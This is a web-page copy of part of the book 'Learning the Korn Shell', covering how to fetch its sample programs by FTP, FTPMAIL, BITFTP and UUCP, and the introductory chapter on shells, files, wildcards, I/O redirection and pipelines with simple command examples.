200 Type set to I.
ftp> get ksh.tar.Z
200 PORT command successful.
150 Opening BINARY mode data connection for ksh.tar.Z.
226 Transfer complete.
ftp> quit
221 Goodbye.
%

If the file is a compressed tar archive, extract the files from the archive by typing:

% zcat ksh.tar.Z | tar xf -

System V systems require the following tar command instead:

% zcat ksh.tar.Z | tar xof -

If zcat is not available on your system, use separate uncompress and tar commands.

Previous: B.8 Vi Control Mode Commands | Learning the Korn Shell | Next: C.2 FTPMAIL
B.8 Vi Control Mode Commands | Book Index | C.2 FTPMAIL
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix C] C.2 FTPMAIL

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: C.1 FTP Appendix C
Obtaining Sample Programs 		Next: C.3 BITFTP

C.2 FTPMAIL

FTPMAIL is a mail server available to anyone who can send electronic mail to and receive it from Internet sites. This includes any company or service provider that allows email connections to the Internet. Here's how you do it.

You send mail to ftpmail@online.ora.com. In the message body, give the FTP commands you want to run. The server will run anonymous FTP for you and mail the files back to you. To get a complete help file, send a message with no subject and the single word "help" in the body. The following is an example mail session that should get you the examples. This command sends you a listing of the files in the selected directory, and the requested example files. The listing is useful if there's a later version of the examples you're interested in.

% mail ftpmail@online.ora.com
Subject:
reply alan@ora.com	(where you want files mailed)
open
chdir /published/oreilly/nutshell/ksh
dir
mode binary
uuencode	(or btoa if you have it)
get ksh.tar.Z
quit
%

A signature at the end of the message is acceptable as long as it appears after "quit."

All retrieved files will be split into 60KB chunks and mailed to you. You then remove the mail headers and concatenate them into one file, and then uudecode or atob it. Once you've got the desired file, follow the directions under FTP to extract the files from the archive.

VMS, DOS, and Mac versions of uudecode, atob, uncompress, and tar are available. The VMS versions are on gatekeeper.dec.com in /archive/pub/VMS.

Previous: C.1 FTP | Learning the Korn Shell | Next: C.3 BITFTP
C.1 FTP | Book Index | C.3 BITFTP
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix C] C.3 BITFTP

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: C.2 FTPMAIL Appendix C
Obtaining Sample Programs 		Next: C.4 UUCP

C.3 BITFTP

BITFTP is a mail server for BITNET users. You send it electronic mail messages requesting files, and it sends you back the files by electronic mail. BITFTP currently serves only users who send it mail from nodes that are directly on BITNET, EARN, or NETNORTH. BITFTP is a public service of Princeton University. Here's how it works.

To use BITFTP, send mail containing your ftp commands to BITFTP@PUCC. For a complete help file, send HELP as the message body.

The following is the message body you should send to BITFTP:

FTP  ftp.uu.net  NETDATA
USER  anonymous
PASS your Internet email address (not your bitnet address)
CD  /published/oreilly/nutshell/ksh
DIR
BINARY
GET  ksh.tar.Z
QUIT

Once you've got the desired file, follow the directions under FTP to extract the files from the archive. Since you are probably not on a UNIX system, you may need to get versions of uudecode, uncompress, atob, and tar for your system. VMS, DOS, and Mac versions are available. The VMS versions are on gatekeeper.dec.com in /archive/pub/VMS.

Questions about BITFTP can be directed to Melinda Varian, MAINT@PUCC on BITNET.

Previous: C.2 FTPMAIL | Learning the Korn Shell | Next: C.4 UUCP
C.2 FTPMAIL | Book Index | C.4 UUCP
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix C] C.4 UUCP

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: C.3 BITFTP Appendix C
Obtaining Sample Programs

C.4 UUCP

UUCP is standard on virtually all UNIX systems, and is available for IBM-compatible PCs and Apple Macintoshes. The examples are available by UUCP via modem from UUNET; UUNET's connect-time charges apply.

You can get the examples from UUNET whether you have an account or not. If you or your company has an account with UUNET, you will have a system with a direct UUCP connection to UUNET. Find that system, and type:

% uucp uunet!~/published/oreilly/nutshell/ksh/ksh.tar.Z \
     yourhost!~/yourname/

The backslashes can be omitted if you use the Bourne shell (sh) instead of csh. The file should appear some time later (up to a day or more) in the directory /usr/spool/uucppublic/yourname. If you don't have an account but would like one so that you can get electronic mail, then contact UUNET at 703-204-8000.

Try to get the file /published/oreilly/nutshell/ksh/ls-lR.Z as a short test file containing the filenames and sizes of all the files in the directory.

Once you've got the desired file, follow the directions under FTP to extract the files from the archive.

Previous: C.3 BITFTP | Learning the Korn Shell
C.3 BITFTP | Book Index
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] Korn Shell Basics

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: We'd Like to Hear From You Chapter 1 Next: 1.2 Scope of This Book

1. Korn Shell Basics

Contents:
What Is a Shell?
Scope of This Book
History of UNIX Shells
Getting the Korn Shell
Interactive Shell Use
Files
Input and Output
Background Jobs
Special Characters and Quoting

You've used your computer for simple tasks, such as invoking your favorite application programs, reading your electronic mail, and perhaps examining and printing files. You know that your machine runs the UNIX operating system, or maybe you know it under some other name, like SunOS, Ultrix, HP/UX, AIX, A/UX, UTS, or Xenix. But apart from that, you may not have given too much thought to what goes on inside the machine when you type in a command and hit RETURN.

It is true that several layers of events take place whenever you enter a command, but we're going to consider only the top layer, known as the shell. Generically speaking, a shell is any user interface to the UNIX operating system, i.e., any program that takes input from the user, translates it into instructions that the operating system can understand, and conveys the operating system's output back to the user.

There are various types of user interfaces. The Korn shell belongs to the most common category, known as character-based user interfaces. These interfaces accept lines of textual commands that the user types in; they usually produce text-based output. Other types of interfaces include the increasingly common graphical user interfaces (GUI), which add the ability to display arbitrary graphics (not just typewriter characters) and to accept input from mice and other pointing devices, touch-screen interfaces (such as those you see on some bank teller machines), and so on.

1.1 What Is a Shell?

The shell's job, then, is to translate the user's command lines into operating system instructions. For example, consider this command line:

sort -n phonelist > phonelist.sorted

This means, "Sort lines in the file phonelist in numerical order, and put the result in the file phonelist.sorted." Here's what the shell does with this command:

  1. Breaks up the line into the pieces sort, -n, phonelist, >, and phonelist.sorted. These pieces are called words.

  2. Determines the purpose of the words: sort is a command, -n and phonelist are arguments, and > and phonelist.sorted, taken together, are I/O instructions.

  3. Sets up the I/O according to > phonelist.sorted (output to the file phonelist.sorted) and some standard, implicit instructions.

  4. Finds the command sort in a file and runs it with the option -n (numerical order) and the argument phonelist (input filename).

Of course, each of these steps really involves several substeps, each of which includes a particular instruction to the underlying operating system.

Remember that the shell itself is not UNIX-just the user interface to it. UNIX is one of the first operating systems to make the user interface independent of the operating system.

Figure 1.1: The shell is a layer around the UNIX operating system

Previous: We'd Like to Hear From You | Learning the Korn Shell | Next: 1.2 Scope of This Book
We'd Like to Hear From You | Book Index | 1.2 Scope of This Book
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.2 Scope of This Book

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 1.1 What Is a Shell? Chapter 1
Korn Shell Basics 		Next: 1.3 History of UNIX Shells

1.2 Scope of This Book

In this book, you will learn about the Korn shell, which is the most recent and powerful of the major UNIX shells. There are two ways to use the Korn shell: as a user interface and as a programming environment.

This chapter and the next cover interactive use. These two chapters should give you enough background to use the shell confidently and productively for most of your everyday tasks.

After you have been using the shell for a while, you will undoubtedly find certain characteristics of your environment (the shell's "look and feel") that you would like to change and tasks that you would like to automate. Chapter 3, Customizing Your Environment shows several ways of doing this.

Chapter 3 also prepares you for shell programming, the bulk of which is covered in Chapter 4, Basic Shell Programming through Chapter 6, Command-line Options and Typed Variables. You need not have any programming experience to understand these chapters and learn shell programming. Chapter 7, Input/Output and Command-line Processing and Chapter 8, Process Handling give more complete descriptions of the shell's I/O and process handling capabilities, while Chapter 9, Debugging Shell Programs discusses various techniques for debugging shell programs.

You'll learn a lot about the Korn shell in this book; you'll also learn about UNIX utilities and the way the UNIX operating system works in general. It's possible to become a virtuoso shell programmer without any previous programming experience. At the same time, we've carefully avoided going down past a certain level of detail about UNIX internals. We maintain that you shouldn't have to be an internals expert to use and program the shell effectively, and we won't dwell on the few shell features that are intended specifically for low-level systems programmers.

Previous: 1.1 What Is a Shell? | Learning the Korn Shell | Next: 1.3 History of UNIX Shells
1.1 What Is a Shell? | Book Index | 1.3 History of UNIX Shells
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.3 History of UNIX Shells

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 1.2 Scope of This Book Chapter 1
Korn Shell Basics 		Next: 1.4 Getting the Korn Shell

1.3 History of UNIX Shells

The independence of the shell from the UNIX operating system per se has led to the development of dozens of shells throughout UNIX history-although only a few have achieved widespread use.

The first major shell was the Bourne shell (named after its inventor, Steven Bourne); it was included in the first popular version of UNIX, Version 7, starting in 1979. The Bourne shell is known on the system as sh. Although UNIX has gone through many, many changes, the Bourne shell is still popular and essentially unchanged. Several UNIX utilities and administration features depend on it.

The first widely-used alternative shell was the C shell, or csh. This was written by Bill Joy at the University of California at Berkeley as part of the Berkeley System Distribution (BSD) version of UNIX that came out a couple of years after Version 7. It's included in most recent UNIX versions.

The C shell gets its name from the resemblance of its commands to statements in the C Programming Language, which makes the shell easier for programmers on UNIX systems to learn. It supports a number of operating system features (e.g., job control; see Chapter 8) that were unique to BSD UNIX but by now have migrated to most other modern versions. It also has a few important features (e.g., aliases; see Chapter 3) that make it easier to use in general.

1.3.1 The Korn Shell

The Korn shell, or ksh, was invented by David Korn of AT&T Bell Laboratories in the mid-1980s. It is almost entirely upwardly compatible with the Bourne shell, [1] which means that Bourne shell users can use it right away, and all system utilities that use the Bourne shell can use the Korn shell instead. In fact, some systems have the Korn shell installed as if it were the Bourne shell.

[1] With a few extremely minor exceptions. See Appendix A, Related Shells for the only important one.

The Korn shell began its public life in 1986 as part of AT&T's "Experimental Toolchest," meaning that its source code was available at very low cost to anyone who was willing to use it without technical support and with the knowledge that it might still have a few bugs. Eventually, AT&T's UNIX System Laboratories (USL) decided to give it full support as a UNIX utility. As of USL's version of UNIX called System V Release 4 (SVR4 for short, 1989), it was distributed with all USL UNIX systems, all third-party versions of UNIX derived from SVR4, and many other versions.

USL's distributed version of the Korn shell, dated November 16, 1988, is what this book describes. Other versions are summarized briefly in Appendix A.

1.3.2 Features of the Korn Shell

Although the Bourne shell is still known as the "standard" shell, the Korn shell is becoming increasingly popular and is destined to replace it. In addition to its Bourne shell compatibility, it includes the best features of the C shell as well as several advantages of its own. It also runs more efficiently than any previous shell.

The Korn shell's command-line editing modes are the features that tend to attract people to it at first. With command-line editing, it's much easier to go back and fix mistakes than it is with the C shell's history mechanism-and the Bourne shell doesn't let you do this at all.

The other major Korn shell feature that is intended mostly for interactive users is job control. As Chapter 8 explains, job control gives you the ability to stop, start, and pause any number of commands at the same time. This feature was borrowed almost verbatim from the C shell.

The rest of the Korn shell's important advantages are mainly meant for shell customizers and programmers. It has many new options and variables for customization, and its programming features have been significantly expanded to include function definition, more control structures, built-in regular expressions and integer arithmetic, advanced I/O control, and more.

Previous: 1.2 Scope of This Book | Learning the Korn Shell | Next: 1.4 Getting the Korn Shell
1.2 Scope of This Book | Book Index | 1.4 Getting the Korn Shell
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.4 Getting the Korn Shell

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 1.3 History of UNIX Shells Chapter 1
Korn Shell Basics 		Next: 1.5 Interactive Shell Use

1.4 Getting the Korn Shell

You may or may not be using the Korn shell right now. Your system administrator probably set your account up with whatever shell he or she uses as the "standard" on the system. You may not even have been aware that there is more than one shell available.

Yet it's easy for you to determine which shell you are using. Log in to your system and type echo $SHELL at the prompt. You will see a response containing sh, csh, or ksh; these denote the Bourne, C, and Korn shells respectively. (There's also a remote chance that you're using a third-party shell such as bash or tcsh.)

If you aren't using the Korn shell and you want to, then first you need to find out if it exists on your system. Most major UNIX versions released since roughly 1989 come with it-especially those derived from AT&T's System V Release 4. Just type ksh. If you get a new dollar-sign prompt ($), then all is well; type exit or press CTRL-D to go back to your normal shell.

But if you get a "not found" message, your system may not have it. Ask your system administrator or another knowledgeable user; there's a chance that you might have some version of the Korn shell installed on the system in a place (directory) that is not normally accessible to you. But if not, read Appendix A to find out how you can obtain a version of the Korn shell.

Once you know you have the Korn shell on your system, you can invoke it from whatever other shell you use by typing ksh as above. However, it's much better to install it as your login shell, i.e., the shell that you get automatically whenever you log in. You may be able to do the installation by yourself. Here are instructions that are designed to work on the widest variety of UNIX systems. If something doesn't work (e.g., you type in a command and get a "not found" error message or a blank line as the response), you'll have to abort the process and see your system administrator.

You need to find out where the Korn shell is on your system, i.e., in which directory it's installed. You might be able to find the location by typing whereis ksh (especially if you are using the C shell); if that doesn't work, try whence ksh, which ksh, or this complex command:

grep ksh /etc/passwd | awk -F: '{print $7}' | sort -u

You should see a response that looks like /bin/ksh or /usr/local/bin/ksh.

To install as your login shell, type chsh ksh-name, where ksh-name is the response you got to your whereis command (or whatever worked). You'll either get an error message saying that the shell is invalid, or you'll be prompted for your password. Type in your password, then log out and log back in again to start using the Korn shell. If you got an error message, you'll just have to see your system administrator. (For system security reasons, only certain shells are allowed to be installed as login shells.)

Previous: 1.3 History of UNIX Shells | Learning the Korn Shell | Next: 1.5 Interactive Shell Use
1.3 History of UNIX Shells | Book Index | 1.5 Interactive Shell Use
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.5 Interactive Shell Use

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 1.4 Getting the Korn Shell Chapter 1
Korn Shell Basics 		Next: 1.6 Files

1.5 Interactive Shell Use

When you use the shell interactively, you engage in a login session that begins when you log in and ends when you exit or press [CTRL-D]. [2] During a login session, you type command lines in to the shell; these are lines of text ending in RETURN that you type in to your terminal or workstation. By default, the shell prompts you for each command with a dollar sign, though as you will see in Chapter 3 the prompt can be changed.

[2] You can set up your shell so that it doesn't accept [CTRL-D], i.e., it requires you to type exit to end your session. We recommend this, because [CTRL-D] is too easy to type by accident; see the section on options in Chapter 3.

1.5.1 Commands, Arguments, and Options

Shell command lines consist of one or more words, which are separated on a command line by blanks or TABs. The first word on the line is the command. The rest (if any) are arguments (also called parameters) to the command, which are names of things on which the command will act.

For example, the command line lp myfile consists of the command lp (print a file) and the single argument myfile. lp treats myfile as the name of a file to print. Arguments are often names of files, but not necessarily: in the command line mail billr, the mail program treats billr as the name of the user to which a message will be sent.

An option is a special type of argument that gives the command specific information on what it is supposed to do. Options usually consist of a dash followed by a letter; we say "usually" because this is a convention rather than a hard-and-fast rule. The command lp -h myfile contains the option -h, which tells lp not to print the "banner page" before it prints the file.

Sometimes options take their own arguments. For example, lp -d hp3si -h myfile has two options and one argument. The first option is -d hp3si, which means "Send the output to the printer (destination) called hp3si". The second option and argument are as above.

Previous: 1.4 Getting the Korn Shell | Learning the Korn Shell | Next: 1.6 Files
1.4 Getting the Korn Shell | Book Index | 1.6 Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.6 Files

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 1.5 Interactive Shell Use Chapter 1
Korn Shell Basics 		Next: 1.7 Input and Output

1.6 Files

Although arguments to commands aren't always files, files are the most important types of "things" on any UNIX system. A file can contain any kind of information, and indeed there are different types of files. Three types are by far the most important:

Regular files

Also called text files; these contain readable characters. For example, this book was created from several regular files that contain the text of the book plus human-readable formatting instructions to the troff word processor.

Executable files

Also called programs; these are invoked as commands. Some can't be read by humans; others-the shell scripts that we'll examine in this book-are just special text files. The shell itself is a (non-human-readable) executable file called ksh.

Directories

Like folders that contain other files-possibly other directories (called subdirectories).

1.6.1 Directories

Let's review the most important concepts about directories. The fact that directories can contain other directories leads to a hierarchical structure, more popularly known as a tree, for all files on a UNIX system. Figure 1.2 shows part of a typical directory tree; ovals are regular files and rectangles are directories.

Figure 1.2: A tree of directories and files

The top of the tree is a directory called "root" that has no name on the system. [3] All files can be named by expressing their location on the system relative to root; such names are built by listing all of the directory names (in order from root), separated by slashes (/), followed by the file's name. This way of naming files is called a full (or absolute) pathname.

[3] Most introductory UNIX tutorials say that root has the name /. We stand by this alternative explanation because it is more logically consistent.

For example, say there is a file called memo that is in the directory fred, which is in the directory users, which is in the root directory. This file's full pathname is /users/fred/memo.

1.6.1.1 The working directory

Of course, it's annoying to have to use full pathnames whenever you need to specify a file. So there is also the concept of the working directory (sometimes called the current directory), which is the directory you are "in" at any given time. If you give a pathname with no leading slash, then the location of the file is worked out relative to the working directory. Such pathnames are called relative pathnames; you'll use them much more often than full pathnames.

When you log in to the system, your working directory is initially set to a special directory called your home (or login) directory. System administrators often set up the system so that everyone's home directory name is the same as their login name, and all home directories are contained in a common directory under root.

For example, /users/billr is a typical home directory. If this is your working directory and you give the command lp memo, then the system looks for the file memo in /users/billr. If you have a directory called bob in your home directory, and it contains the file statreport, then you can print it with the command lp bob/statreport.

1.6.1.2 Tilde notation

As you can well imagine, home directories occur often in pathnames. Although many systems are organized so that all home directories have a common parent (such as /home or /users), you should not have to rely on that being the case, nor should you even have to know what the absolute pathname of someone's home directory is.

Therefore, the Korn shell has a way of abbreviating home directories: just precede the name of the user with a tilde (~). For example, you could refer to the file memo in user fred's home directory as ~fred/memo. This is an absolute pathname, so it doesn't matter what your working directory is when you use it. If fred's home directory has a subdirectory called bob and the file is in there instead, you can use ~fred/bob/memo as its name.

Even more convenient, a tilde by itself refers to your own home directory. You can refer to a file called notes in your home directory as ~/notes (note the difference between that and ~notes, which the shell would try to interpret as user notes home directory). If notes is in your bob subdirectory, then you can call it ~/bob/notes. This notation is handiest when your working directory is not in your home directory tree, e.g., when it's some "system" directory like /tmp.

1.6.1.3 Changing working directories

If you want to change your working directory, use the command cd. If you don't remember your working directory, the command pwd tells the shell to print it.

cd takes as argument the name of the directory you want to become your working directory. It can be relative to your current directory, it can contain a tilde, or it can be absolute (starting with a slash). If you omit the argument, cd changes to your home directory (i.e., it's the same as cd ~ ).

Table 1.1 gives some sample cd commands. Each command assumes that your working directory is /users/billr just before the command is executed, and that your directory structure looks like Figure 1.2.

Table 1.1: Sample cd Commands
Command | New Working Directory
cd bob | /users/billr/bob
cd bob/dave | /users/billr/bob/dave
cd ~/bob/dave | /users/billr/bob/dave
cd /usr/lib | /usr/lib
cd .. | /users
cd ../pete | /users/pete
cd ~pete | /users/pete
cd billr pete | /users/pete
cd illr arry | /users/barry

The first four are straightforward. The next two use a special directory called .. (two dots), which means "parent of this directory." Every directory has one of these; it's a universal way to get to the directory above the current one in the hierarchy-which is called the parent directory. [4]

[4] Each directory also has the special directory . (single dot), which just means "this directory." Thus, cd . effectively does nothing. Both . and .. are actually special hidden files in each directory that point to the directory itself and to its parent directory, respectively. Root is its own parent.

The last two examples in the table use a new form of the cd command, which is not included in most Bourne shells. The form is cd old new. It takes the full pathname of the current working directory and tries to find the string old in it. If it finds the string, it substitutes new and changes to the resulting directory.

In the first of the two examples, the shell substitutes pete for billr in the current directory name and makes the result the new current directory. The last example shows that the substitution need not be a complete filename: substituting arry for illr in /users/billr yields /users/barry. (If the old string can't be found in the current directory name, the shell prints an error message.)

Another new feature of the Korn shell's cd command is the form cd -, which changes to whatever directory you were in before the current one. For example, if you start out in /usr/lib, type cd without an argument to go to your home directory, and then type cd -, you will be back in /usr/lib.

1.6.2 Filenames and Wildcards

Sometimes you need to run a command on more than one file at a time. The most common example of such a command is ls, which lists information about files. In its simplest form, without options or arguments, it lists the names of all files in the working directory except special hidden files, whose names begin with a dot (.).

If you give ls filename arguments, it will list those files-which is sort of silly: if your current directory has the files bob and fred in it and you type ls bob fred, the system will simply parrot the filenames back at you.

Actually, ls is more often used with options that tell it to list information about the files, like the -l (long) option, which tells ls to list the file's owner, size, time of last modification, and other information, or -a (all), which also lists the hidden files described above. But sometimes you want to verify the existence of a certain group of files without having to know all of their names; for example, if you use the WordPerfect word processor, you might want to see which files in your current directory have names that end in .wp.

Filenames are so important in UNIX that the shell provides a built-in way to specify the pattern of a set of filenames without having to know all of the names themselves. You can use special characters, called wildcards, in filenames to turn them into patterns. We'll show the three basic types of wildcards that all major UNIX shells support, and we'll save the Korn shell's set of advanced wildcard operators for Chapter 4. Table 1.2 lists the basic wildcards.

Table 1.2: Basic Wildcards
Wildcard | Matches
? | Any single character
* | Any string of characters
[set] | Any character in set
[!set] | Any character not in set

The ? wildcard matches any single character, so that if your directory contains the files program.c, program.log, and program.o, then the expression program.? matches program.c and program.o but not program.log.

The asterisk (*) is more powerful and far more widely-used; it matches any string of characters. The expression program.* will match all three files in the previous paragraph; WordPerfect users can use the expression *.wp to match their input files. [5]

[5] MS-DOS and VAX/VMS users should note that there is nothing special about the dot (.) in UNIX filenames (aside from the leading dot, which "hides" the file); it's just another character. For example, ls * lists all files in the current directory; you don't need *.* as you do on other systems.

Table 1.3 should give you a better idea of how the asterisk works. Assume that you have the files bob, darlene, dave, ed, frank, and fred in your working directory.

Notice that * can stand for nothing: both *ed and *e* match ed. Also notice that the last example shows what the shell does if it can't match anything: it just leaves the string with the wildcard untouched.

Table 1.3: Using the * Wildcard
Expression | Yields
fr* | frank fred
*ed | ed fred
b* | bob
*e* | darlene dave ed fred
*r* | darlene frank fred
* | bob darlene dave ed frank fred
d*e | darlene dave
g* | g*

The remaining wildcard is the set construct. A set is a list of characters (e.g., abc), an inclusive range (e.g., a-z), or some combination of the two. If you want the dash character to be part of a list, just list it first or last. Table 1.4 should explain things more clearly.

Table 1.4: Using the Set Construct Wildcards
Expression | Matches
[abc] | a, b, or c
[.,;] | Period, comma, or semicolon
[-_] | Dash and underscore
[a-c] | a, b, or c
[a-z] | All lowercase letters
[!0-9] | All non-digits
[0-9!] | All digits and exclamation point
[a-zA-Z] | All lower- and uppercase letters
[a-zA-Z0-9_-] | All letters, all digits, underscore, and dash

In the original wildcard example, program.[co] and program.[a-z] both match program.c and program.o, but not program.log.

An exclamation point after the left bracket lets you "negate" a set. For example, [!.;] matches any character except period and semicolon; [!a-zA-Z] matches any character that isn't a letter.

The range notation is handy, but you shouldn't make too many assumptions about what characters are included in a range. It's safe to use a range for uppercase letters, lowercase letters, digits, or any subranges thereof (e.g., [f-q], [2-6]). Don't use ranges on punctuation characters or mixed-case letters: e.g., [a-Z] and [A-z] should not be trusted to include all of the letters and nothing more. The problem is that such ranges are not entirely portable between different types of computers. [6]

[6] Specifically, ranges depend on the character encoding scheme your computer uses. The vast majority use ASCII, but IBM mainframes use EBCDIC.

The process of matching expressions containing wildcards to filenames is called wildcard expansion. This is just one of several steps the shell takes when reading and processing a command line; another that we have already seen is tilde expansion, where tildes are replaced with home directories where applicable. We'll see others in later chapters, and the full details of the process are enumerated in Chapter 7.

However, it's important to be aware that the commands that you run only see the results of wildcard expansion. That is, they just see a list of arguments, and they have no knowledge of how those arguments came into being. For example, if you type ls fr* and your files are as on the previous page, then the shell expands the command line to ls fred frank and invokes the command ls with arguments fred and frank. If you type ls g*, then (because there is no match) ls will be given the literal string g* and will complain with the error message, g* not found. [7]

[7] This is different from the C shell's wildcard mechanism, which prints an error message and doesn't execute the command at all.

Here is another example that should help you understand why this is important. Suppose you are a C programmer. This just means that you deal with files whose names end in .c (programs, a.k.a. source files), .h (header files for programs), and .o (object code files that aren't human-readable) as well as other files.

Let's say you want to list all source, object, and header files in your working directory. The command ls *.[cho] does the trick. The shell expands *.[cho] to all files whose names end in a period followed by a c, h, or o and passes the resulting list to ls as arguments.

In other words, ls will see the filenames just as if they were all typed in individually-but notice that we assumed no knowledge of the actual filenames whatsoever! We let the wildcards do the work.

As you gain experience with the shell, reflect on what life would be like without wildcards. Pretty miserable, we would say.

Previous: 1.5 Interactive Shell Use | Learning the Korn Shell | Next: 1.7 Input and Output
1.5 Interactive Shell Use | Book Index | 1.7 Input and Output
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.7 Input and Output

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 1.6 Files Chapter 1
Korn Shell Basics 		Next: 1.8 Background Jobs

1.7 Input and Output

The software field-really, any scientific field-tends to advance most quickly and impressively on those few occasions when someone (i.e., not a committee) comes up with an idea that is small in concept yet enormous in its implications. The standard input and output scheme of UNIX has to be on the short list of such ideas, along with such classic innovations as the LISP language, the relational data model, and object-oriented programming.

The UNIX I/O scheme is based on two dazzlingly simple ideas. First, UNIX file I/O takes the form of arbitrarily long sequences of characters (bytes). In contrast, file systems of older vintage have more complicated I/O schemes (e.g., "block," "record," "card image," etc.). Second, everything on the system that produces or accepts data is treated as a file; this includes hardware devices like disk drives and terminals. Older systems treated every device differently. Both of these ideas have made systems programmers' lives much more pleasant.

1.7.1 Standard I/O

By convention, each UNIX program has a single way of accepting input called standard input, a single way of producing output called standard output, and a single way of producing error messages called standard error output, usually shortened to standard error. Of course, a program can have other input and output sources as well, as we will see in Chapter 7.

Standard I/O was the first scheme of its kind that was designed specifically for interactive users at terminals, rather than the older batch style of use that usually involves decks of punch-cards. Since the UNIX shell provides the user interface, it should come as no surprise that standard I/O was designed to fit in very neatly with the shell.

All shells handle standard I/O in basically the same way. Each program that you invoke has all three standard I/O channels set to your terminal or workstation, so that standard input is your keyboard, and standard output and error are your screen or window. For example, the mail utility prints messages to you on the standard output, and when you use it to send messages to other users, it accepts your input on the standard input. This means that you view messages on your screen and type new ones in on your keyboard.

When necessary, you can redirect input and output to come from or go to a file instead. If you want to send the contents of a pre-existing file to someone as mail, you redirect mail's standard input so that it reads from that file instead of your keyboard.

You can also hook up programs into a pipeline, in which the standard output of one program feeds directly into the standard input of another; for example, you could feed mail output directly to the lp program so that messages are printed instead of shown on the screen.

This makes it possible to use UNIX utilities as building blocks for bigger programs. Many UNIX utility programs are meant to be used in this way: they each perform a specific type of filtering operation on input text. Although this isn't a textbook on UNIX utilities, they are essential to productive shell use. The more popular filtering utilities are listed in Table 1.5.

Table 1.5: Popular UNIX Data Filtering Utilities
Utility | Purpose
cat | Copy input to output
grep | Search for strings in the input
sort | Sort lines in the input
cut | Extract columns from input
sed | Perform editing operations on input
tr | Translate characters in the input to other characters

You may have used some of these before and noticed that they take names of input files as arguments and produce output on standard output. You may not know, however, that all of them (and most other UNIX utilities) accept input from standard input if you omit the argument. [8]

[8] If a particular UNIX utility doesn't accept standard input when you leave out the filename argument, try using - as the argument.

For example, the most basic utility is cat, which simply copies its input to its output. If you type cat with a filename argument, it will print out the contents of that file on your screen. But if you invoke it with no arguments, it will expect standard input and copy it to standard output. Try it: cat will wait for you to type a line of text; when you type RETURN, cat will parrot the text back at you. To stop the process, hit [CTRL-D] at the beginning of a line (see below for what this character means). You will see ^D when you type [CTRL-D]. Here's what this should look like:

$ cat
Here is a line of text.
Here is a line of text.
This is another line of text.
This is another line of text.
^D
$

1.7.2 I/O Redirection

cat is actually short for "catenate," i.e., link together. It accepts multiple filename arguments and copies them to the standard output. But let's pretend, for the moment, that cat and other utilities don't accept filename arguments and accept only standard input. As we said above, the shell lets you redirect standard input so that it comes from a file. The notation command < filename does this; it sets things up so that command takes standard input from a file instead of from a terminal.

For example, if you have a file called fred that contains some text, then cat < fred will print fred's contents out onto your terminal. sort < fred will sort the lines in the fred file and print the result on your terminal (remember: we're pretending that utilities don't take filename arguments).

Similarly, command > filename causes the command's standard output to be redirected to the named file. The classic "canonical" example of this is date > now: the date command prints the current date and time on the standard output; the above command saves it in a file called now.

Input and output redirectors can be combined. For example: the cp command is normally used to copy files; if for some reason it didn't exist or was broken, you could use cat in this way:

$ cat  < file1  >  file2

This would be similar to cp file1 file2.

1.7.3 Pipelines

It is also possible to redirect the output of a command into the standard input of another command instead of a file. The construct that does this is called the pipe, notated as |. A command line that includes two or more commands connected with pipes is called a pipeline.

Pipes are very often used with the more command, which works just like cat except that it prints its output screen by screen, pausing for the user to type SPACE (next screen), RETURN (next line), or other commands. If you're in a directory with a large number of files and you want to see details about them, ls -l | more will give you a detailed listing a screen at a time.

Pipelines can get very complex (see, for example, the lsd function in Chapter 4 or the pipeline version of the C compiler driver in Chapter 7); they can also be combined with other I/O directors. To see a sorted listing of the file fred a screen at a time, type sort < fred | more. To print it instead of viewing it on your terminal, type sort < fred | lp.

Here's a more complicated example. The file /etc/passwd stores information about users' accounts on a UNIX system. Each line in the file contains a user's login name, user ID number, encrypted password, home directory, login shell, and other info. The first field of each line is the login name; fields are separated by colons (:). A sample line might look like this:

billr:5Ae40BGR/tePk:284:93:Bill Rosenblatt:/home/billr:/bin/ksh

To get a sorted listing of all users on the system, type:

$ cut -d: -f1 < /etc/passwd | sort

(Actually, you can omit the <, since cut accepts input filename arguments.) The cut command extracts the first field (-f1), where fields are separated by colons (-d:), from the input. The entire pipeline will print a list that looks like this:

al
billr
bob
chris
dave
ed
frank
...

If you want to send the list directly to the printer (instead of your screen), you can extend the pipeline like this:

$ cut -d: -f1 < /etc/passwd | sort | lp

